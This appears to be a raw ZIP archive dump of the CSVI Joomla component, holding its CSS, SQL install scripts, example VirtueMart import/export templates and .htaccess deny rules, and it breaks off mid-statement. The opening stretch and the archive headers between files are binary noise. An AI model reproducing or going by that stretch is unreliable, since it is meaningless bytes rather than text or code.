jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\com_csvi/assets/css/index.htmlnuW+APKs>\ښC com_csvi/assets/css/images.cssnuW+A/* 32 pixels */ .icon-32-csvi_new_32 { background-image: url(../images/csvi_new_32.png); } .icon-32-csvi_add_32 { background-image: url(../images/csvi_add_32.png); } .icon-32-csvi_edit_32 { background-image: url(../images/csvi_edit_32.png); } .icon-32-csvi_clone_32 { background-image: url(../images/csvi_clone_32.png); } .icon-32-csvi_delete_32 { background-image: url(../images/csvi_delete_32.png); } .icon-32-csvi_fields_32 { background-image: url(../images/csvi_fields_32.png); } .icon-32-csvi_templates_32 { background-image: url(../images/csvi_template_32.png); } .icon-32-csvi_publish_32 { background-image: url(../images/csvi_publish_32.png); } .icon-32-csvi_unpublish_32 { background-image: url(../images/csvi_unpublish_32.png); } .icon-32-csvi_save_32 { background-image: url(../images/csvi_save_32.png); } .icon-32-csvi_fields_32 { background-image: url(../images/csvi_fields_32.png); } .icon-32-csvi_logdetails_32 { background-image: url(../images/csvi_log_details_32.png); } .icon-32-csvi_cancel_32 { background-image: url(../images/csvi_cancel_32.png); } .icon-32-csvi_delete_32 { background-image: url(../images/csvi_delete_32.png); } .icon-32-csvi_continue_32 { background-image: url(../images/csvi_continue_32.png); } .icon-32-csvi_process_32 { background-image: url(../images/csvi_process_32.png); } .icon-32-csvi_settings_32 { background-image: url(../images/csvi_settings_32.png); } .icon-32-csvi_maintenance_32 { background-image: url(../images/csvi_maintenance_32.png); } .icon-32-csvi_replacement_32 { background-image: url(../images/csvi_replace_32.png); } .icon-32-csvi_cron_32 { background-image: url(../images/csvi_cron_32.png); } .icon-32-csvi_availablefields_32 { background-image: url(../images/csvi_av_fields_32.png); } .icon-32-csvi_help_32 { background-image: url(../images/csvi_help_32.png); } .icon-32-csvi_reset_32 { background-image: url(../images/csvi_reset_32.png); } .icon-32-csvi_import_32 { background-image: url(../images/csvi_import_32.png); } /* 48 pixels */ .icon-48-csvi_new_48 { background-image: url(../images/csvi_new_48.png); } .icon-48-csvi_edit_48 { background-image: url(../images/csvi_edit_48.png); } .icon-48-csvi_templates_48 { background-image: url(../images/csvi_template_48.png); } .icon-48-csvi_fields_48 { background-image: url(../images/csvi_fields_48.png); } .icon-48-csvi_process_48 { background-image: url(../images/csvi_process_48.png); } .icon-48-csvi_maintenance_48 { background-image: url(../images/csvi_maintenance_48.png); } .icon-48-csvi_log_48 { background-image: url(../images/csvi_log_48.png); } .icon-48-csvi_about_48 { background-image: url(../images/csvi_about_48.png); } .icon-48-csvi_availablefields_48 { background-image: url(../images/csvi_av_fields_48.png); } .icon-48-csvi_logdetails_48 { background-image: url(../images/csvi_log_details_48.png); } .icon-48-csvi_logo_48 { background-image: url(../images/csvi_logo_48.png); } .icon-48-csvi_settings_48 { background-image: url(../images/csvi_settings_48.png); } .icon-48-csvi_replacement_48 { background-image: url(../images/csvi_replace_48.png); } .icon-48-csvi_cron_48 { background-image: url(../images/csvi_cron_48.png); } .icon-48-csvi_help_48 { background-image: url(../images/csvi_help_48.png); } .icon-48-csvi_reset_48 { background-image: url(../images/csvi_reset_48.png); } .icon-48-csvi_import_48 { background-image: url(../images/csvi_import_48.png); } .icon-48-csvi_export_48 { background-image: url(../images/csvi_export_48.png); } .icon-48-csvi_install_48 { background-image: url(../images/csvi_install_48.png); }PKs>\h#%#com_csvi/install/com_akeebasubs.sqlnuW+ADELETE FROM `#__csvi_template_tables` WHERE `component` = 'com_akeebasubs'; INSERT IGNORE INTO `#__csvi_template_tables` (`template_type_name`, `template_table`, `component`) VALUES ('affiliateexport', 'affiliateexport', 'com_akeebasubs'), ('affiliateexport', 'akeebasubs_affiliates', 'com_akeebasubs'), ('affiliateexport', 'akeebasubs_affpayments', 'com_akeebasubs'), ('affiliateexport', 'users', 'com_akeebasubs'), ('affiliateimport', 'affiliateimport', 'com_akeebasubs'), ('affiliateimport', 'akeebasubs_affiliates', 'com_akeebasubs'), ('affiliateimport', 'akeebasubs_affpayments', 'com_akeebasubs'), ('couponexport', 'akeebasubs_coupons', 'com_akeebasubs'), ('couponexport', 'couponexport', 'com_akeebasubs'), ('couponimport', 'akeebasubs_coupons', 'com_akeebasubs'), ('couponimport', 'couponimport', 'com_akeebasubs'), ('subscriptionexport', 'akeebasubs_subscriptions', 'com_akeebasubs'), ('subscriptionexport', 'akeebasubs_users', 'com_akeebasubs'), ('subscriptionexport', 'subscriptionexport', 'com_akeebasubs'), ('subscriptionimport', 'akeebasubs_subscriptions', 'com_akeebasubs'), ('subscriptionimport', 'akeebasubs_users', 'com_akeebasubs'), ('subscriptionimport', 'subscriptionimport', 'com_akeebasubs'); DELETE FROM `#__csvi_template_types` WHERE `component` = 'com_akeebasubs'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('subscriptionexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=subscriptions', 'file,fields,subscription,layout,email,limit'), ('affiliateexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=affiliates', 'file,fields,layout,email,limit'), ('couponexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=coupons', 'file,fields,layout,email,limit'), ('couponimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=coupons', 'file,fields,limit'), ('subscriptionimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=subscriptions', 'file,fields,limit'), ('affiliateimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=affiliates', 'file,fields,limit');PKs>\CE~44&com_csvi/install/example_templates.csvnuW+A"Example VirtueMart Calculation rule export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""calcexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""calculation_rule_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""1"",""collect_debug_info"":""0"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""calc_name"",""calc_descr"",""calc_kind"",""calc_value_mathop"",""calc_value"",""category_path"",""country_name"",""shopper_group_name"",""state_2_code""],""_column_header"":["""","""","""","""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Calculation rule import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""calcimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""en-GB"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""calc_name"",""calc_descr"",""calc_kind"",""calc_value_mathop"",""calc_value"",""category_path"",""country_name"",""shopper_group_name"",""state_2_code""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}" "Example VirtueMart Category export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""categoryexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""category_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""1"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""category_path"",""category_description"",""file_url"",""file_url_thumb"",""published""],""_column_header"":["""","""","""","""",""""],""_default_value"":["""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""",""""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Category import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""categoryimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""1"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""en-GB"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""category_path"",""category_description"",""file_url"",""file_url_thumb"",""published""],""_default_value"":["""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""",""""]},""image"":{""process_image"":""0"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_category_images"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}" "Example VirtueMart Media export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""mediaexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""media_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""0"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0""},""export_fields"":{""_selected_name"":[""file_url"",""file_type"",""published"",""file_title"",""file_description"",""file_meta""],""_column_header"":["""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""",""""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Media import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""mediaimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""0"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":""""},""import_fields"":{""_selected_name"":[""file_url"",""file_type"",""published"",""file_title"",""file_description"",""file_meta""],""_default_value"":["""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":{""4"":"""",""3"":"""",""5"":"""",""2"":"""",""0"":"""",""1"":""""}},""media"":{""ignore_non_exist"":""0""},""image"":{""process_image"":""0"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_product_images"":"""",""file_location_category_images"":""""}}" "Example VirtueMart Product export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""productexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""product_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""0"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""product_sku"",""product_name"",""manufacturer_name"",""product_price"",""related_products"",""category_path"",""product_parent_sku"",""published"",""product_in_stock""],""_column_header"":["""","""","""","""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""product"":{""exportsef"":""1"",""producturl_suffix"":"""",""featured"":""0"",""product_categories"":[""""],""publish_state_categories"":"""",""incl_subcategory"":""0"",""parent_only"":""0"",""child_only"":""0"",""productskufilter"":"""",""priceoperator"":""gt"",""pricefrom"":"""",""priceto"":"""",""stocklevelstart"":"""",""stocklevelend"":"""",""targetcurrency"":"""",""shopper_groups"":[""none""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Product import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""productimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""nl-NL"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""product_sku"",""product_name"",""manufacturer_name"",""product_price"",""related_products"",""category_path"",""product_parent_sku"",""published"",""product_in_stock""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":{""6"":"""",""3"":"""",""1"":"""",""5"":"""",""8"":"""",""0"":"""",""4"":"""",""7"":"""",""2"":""""}},""product"":{""append_categories"":""0"",""update_based_on"":""product_sku"",""mpn_column_name"":"""",""unpublish_before_import"":""0"",""use_icecat"":""0""},""image"":{""process_image"":""0"",""auto_generate_image_name"":""0"",""type_generate_image_name"":""product_sku"",""autogenerateext"":""jpg"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_product_images"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}"PKs>\)com_csvi/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\&CMMcom_csvi/install/com_csvi.sqlnuW+ADELETE FROM `#__csvi_template_types` WHERE `component` = 'com_csvi'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('customexport', 'export', 'com_csvi', '', 'file,fields,layout,email,limit'), ('customimport', 'import', 'com_csvi', '', 'file,fields,limit');PKs>\'com_csvi/install/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_available_fields` ( `id` int(11) NOT NULL AUTO_INCREMENT, `csvi_name` varchar(255) NOT NULL, `component_name` varchar(55) NOT NULL, `component_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `isprimary` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `component_name_table` (`component_name`,`component_table`,`component`) ) CHARSET=utf8 COMMENT='Available fields for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_currency` ( `currency_id` tinyint(4) NOT NULL AUTO_INCREMENT, `currency_code` varchar(3) DEFAULT NULL, `currency_rate` varchar(55) DEFAULT NULL, PRIMARY KEY (`currency_id`), UNIQUE KEY `currency_code` (`currency_code`) ) CHARSET=utf8 COMMENT='Curriencies and exchange rates for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_index` ( `path` varchar(100) DEFAULT NULL, `product_id` int(2) DEFAULT NULL, `updated` int(14) DEFAULT NULL, `quality` varchar(6) DEFAULT NULL, `supplier_id` int(1) DEFAULT NULL, `prod_id` varchar(16) DEFAULT NULL, `catid` int(3) DEFAULT NULL, `m_prod_id` varchar(10) DEFAULT NULL, `ean_upc` varchar(10) DEFAULT NULL, `on_market` int(1) DEFAULT NULL, `country_market` varchar(10) DEFAULT NULL, `model_name` varchar(26) DEFAULT NULL, `product_view` int(5) DEFAULT NULL, `high_pic` varchar(51) DEFAULT NULL, `high_pic_size` int(5) DEFAULT NULL, `high_pic_width` int(3) DEFAULT NULL, `high_pic_height` int(3) DEFAULT NULL, `m_supplier_id` int(3) DEFAULT NULL, `m_supplier_name` varchar(51) DEFAULT NULL, KEY `product_mpn` (`prod_id`), KEY `manufacturer_name` (`supplier_id`) ) CHARSET=utf8 COMMENT='ICEcat index data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_suppliers` ( `supplier_id` int(11) unsigned NOT NULL, `supplier_name` varchar(255) NOT NULL, UNIQUE KEY `Unique supplier` (`supplier_id`,`supplier_name`), KEY `Supplier name` (`supplier_name`) ) CHARSET=utf8 COMMENT='ICEcat supplier data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `userid` int(11) NOT NULL, `logstamp` datetime NOT NULL, `action` varchar(255) NOT NULL, `action_type` varchar(255) NOT NULL DEFAULT '', `template_name` varchar(255) DEFAULT NULL, `records` int(11) NOT NULL, `run_id` int(11) DEFAULT NULL, `file_name` varchar(255) DEFAULT NULL, `run_cancelled` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log results for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_log_details` ( `id` int(11) NOT NULL AUTO_INCREMENT, `log_id` int(11) NOT NULL, `line` int(11) NOT NULL, `description` text NOT NULL, `result` varchar(45) NOT NULL, `status` varchar(45) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log details for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_products` ( `product_sku` varchar(64) NOT NULL, `related_sku` text NOT NULL ) CHARSET=utf8 COMMENT='Related products import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_replacements` ( `id` int(10) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL, `findtext` text NOT NULL, `replacetext` text NOT NULL, `multivalue` ENUM('0','1') NOT NULL, `method` enum('text','regex') NOT NULL DEFAULT 'text', `checked_out` int(11) unsigned DEFAULT '0', `checked_out_time` datetime DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Replacement rules for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_settings` ( `id` int(11) NOT NULL AUTO_INCREMENT, `params` text NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Configuration values for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` VARCHAR(255) NOT NULL COMMENT 'Name for the saved setting', `settings` TEXT NOT NULL COMMENT 'The actual settings', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Stores the template settings for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_tables` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `checked_out` int(10) unsigned NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` varchar(55) NOT NULL, `template_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `indexed` int(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_table`,`component`) ) CHARSET=utf8 COMMENT='Template tables used per template type for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_types` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `checked_out` INT(10) UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` VARCHAR(55) NOT NULL, `template_type` VARCHAR(55) NOT NULL, `component` VARCHAR(55) NOT NULL COMMENT 'Name of the component', `url` VARCHAR(100) NULL DEFAULT NULL COMMENT 'The URL of the page the import is for', `options` VARCHAR(255) NOT NULL DEFAULT 'fields' COMMENT 'The template pages to show for the template type', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_type`,`component`) ) CHARSET=utf8 COMMENT='Template types for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` VARCHAR(255) NOT NULL COMMENT 'Name for the field', `column_header` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` ENUM('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `sort` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', PRIMARY KEY (`id`) ) COMMENT='Holds the fields for a CSVI template'; PKs>\#o,,com_csvi/install/index.htmlnuW+APKs>\!com_csvi/install/update/4.5.1.sqlnuW+APKs>\)!com_csvi/install/update/.htaccessnuW+A Order allow,deny Deny from all PKs>\ ffcom_csvi/install/update/4.1.sqlnuW+AALTER TABLE `#__csvi_replacements` ADD COLUMN `multivalue` ENUM('0','1') NOT NULL AFTER `replacetext`;PKs>\com_csvi/install/update/4.4.sqlnuW+APKs>\ӸhMM*com_csvi/install/availablefields_extra.sqlnuW+A/* VirtueMart Product import */ INSERT IGNORE INTO `#__csvi_available_fields` (`csvi_name`, `component_name`, `component_table`, `component`) VALUES ('skip', 'skip', 'productimport', 'com_virtuemart'), ('combine', 'combine', 'productimport', 'com_virtuemart'), ('product_discount', 'product_discount', 'productimport', 'com_virtuemart'), ('product_discount_date_start', 'product_discount_date_start', 'productimport', 'com_virtuemart'), ('product_discount_date_end', 'product_discount_date_end', 'productimport', 'com_virtuemart'), ('product_price', 'product_price', 'productimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'productimport', 'com_virtuemart'), ('shopper_group_name_new', 'shopper_group_name_new', 'productimport', 'com_virtuemart'), ('shopper_group_name_price', 'shopper_group_name_price', 'productimport', 'com_virtuemart'), ('related_products', 'related_products', 'productimport', 'com_virtuemart'), ('category_id', 'category_id', 'productimport', 'com_virtuemart'), ('category_path', 'category_path', 'productimport', 'com_virtuemart'), ('manufacturer_name', 'manufacturer_name', 'productimport', 'com_virtuemart'), ('manufacturer_id', 'manufacturer_id', 'productimport', 'com_virtuemart'), ('price_with_tax', 'price_with_tax', 'productimport', 'com_virtuemart'), ('product_override_price', 'product_override_price', 'productimport', 'com_virtuemart'), ('override', 'override', 'productimport', 'com_virtuemart'), ('product_box', 'product_box', 'productimport', 'com_virtuemart'), ('product_delete', 'product_delete', 'productimport', 'com_virtuemart'), ('product_name', 'product_name', 'productimport', 'com_virtuemart'), ('product_s_desc', 'product_s_desc', 'productimport', 'com_virtuemart'), ('product_desc', 'product_desc', 'productimport', 'com_virtuemart'), ('metadesc', 'metadesc', 'productimport', 'com_virtuemart'), ('metakey', 'metakey', 'productimport', 'com_virtuemart'), ('customtitle', 'customtitle', 'productimport', 'com_virtuemart'), ('slug', 'slug', 'productimport', 'com_virtuemart'), ('file_url', 'file_url', 'productimport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'productimport', 'com_virtuemart'), ('file_title', 'file_title', 'productimport', 'com_virtuemart'), ('file_description', 'file_description', 'productimport', 'com_virtuemart'), ('file_meta', 'file_meta', 'productimport', 'com_virtuemart'), ('product_tax', 'product_tax', 'productimport', 'com_virtuemart'), ('product_parent_sku', 'product_parent_sku', 'productimport', 'com_virtuemart'), ('product_delete', 'product_delete', 'productimport', 'com_virtuemart'), ('product_currency', 'product_currency', 'productimport', 'com_virtuemart'), ('custom_title', 'custom_title', 'productimport', 'com_virtuemart'), ('custom_value', 'custom_value', 'productimport', 'com_virtuemart'), ('custom_price', 'custom_price', 'productimport', 'com_virtuemart'), ('custom_param', 'custom_param', 'productimport', 'com_virtuemart'), ('min_order_level', 'min_order_level', 'productimport', 'com_virtuemart'), ('max_order_level', 'max_order_level', 'productimport', 'com_virtuemart'), ('product_tax_id', 'product_tax_id', 'productimport', 'com_virtuemart'), ('product_discount_id', 'product_discount_id', 'productimport', 'com_virtuemart'), /* VirtueMart Category import */ ('skip', 'skip', 'categoryimport', 'com_virtuemart'), ('combine', 'combine', 'categoryimport', 'com_virtuemart'), ('category_path', 'category_path', 'categoryimport', 'com_virtuemart'), ('category_path_trans', 'category_path_trans', 'categoryimport', 'com_virtuemart'), ('category_name', 'category_name', 'categoryimport', 'com_virtuemart'), ('category_description', 'category_description', 'categoryimport', 'com_virtuemart'), ('metadesc', 'metadesc', 'categoryimport', 'com_virtuemart'), ('metakey', 'metakey', 'categoryimport', 'com_virtuemart'), 